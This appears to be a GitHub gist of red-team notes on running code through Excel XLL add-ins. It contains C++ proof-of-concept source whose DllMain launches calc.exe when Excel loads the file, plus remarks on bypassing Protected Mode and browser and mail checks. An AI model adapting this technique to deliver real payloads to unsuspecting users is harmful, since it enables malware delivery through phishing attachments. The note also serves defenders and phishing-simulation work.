Skip to content

Instantly share code, notes, and snippets.

@rxwx
Last active May 4, 2023 14:19
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 3 You must be signed in to fork a gist
  • Save rxwx/3f0b52d1cb669f97dc003b43fc401ba0 to your computer and use it in GitHub Desktop.
Save rxwx/3f0b52d1cb669f97dc003b43fc401ba0 to your computer and use it in GitHub Desktop.

Notes

An XLL file is basically a DLL with some special features to make it work with Excel.

See - https://msdn.microsoft.com/en-us/library/office/bb687911.aspx

By creating a DLL which exports xlAutoOpen, and then renaming the compiled DLL to .xll, we can execute our code in DllMain when the file is loaded by Excel.

The attached .xll file will open with Excel (by default) when double-clicked. The user will then be presented with a warning. If the warning is clicked through, then our code is executed.

Also worth noting:

  • Office Protected mode does not apply to XLL files
  • As this is essentially just a PE file. Mail filters (and perhaps some web proxies) may block it.
  • Although it is technically a PE file, Edge does not do all the same checks/warnings that it would do with a regular .exe.

Note - the calc.xll is compiled for 32-bit. You will need to re-compile for 64-bit if using 64-bit Office.

#include "stdafx.h"
#include <Windows.h>
extern "C" void __declspec(dllexport) xlAutoOpen();void xlAutoOpen() {};
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
WinExec("C:\\windows\\system32\\calc.exe", 1);
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment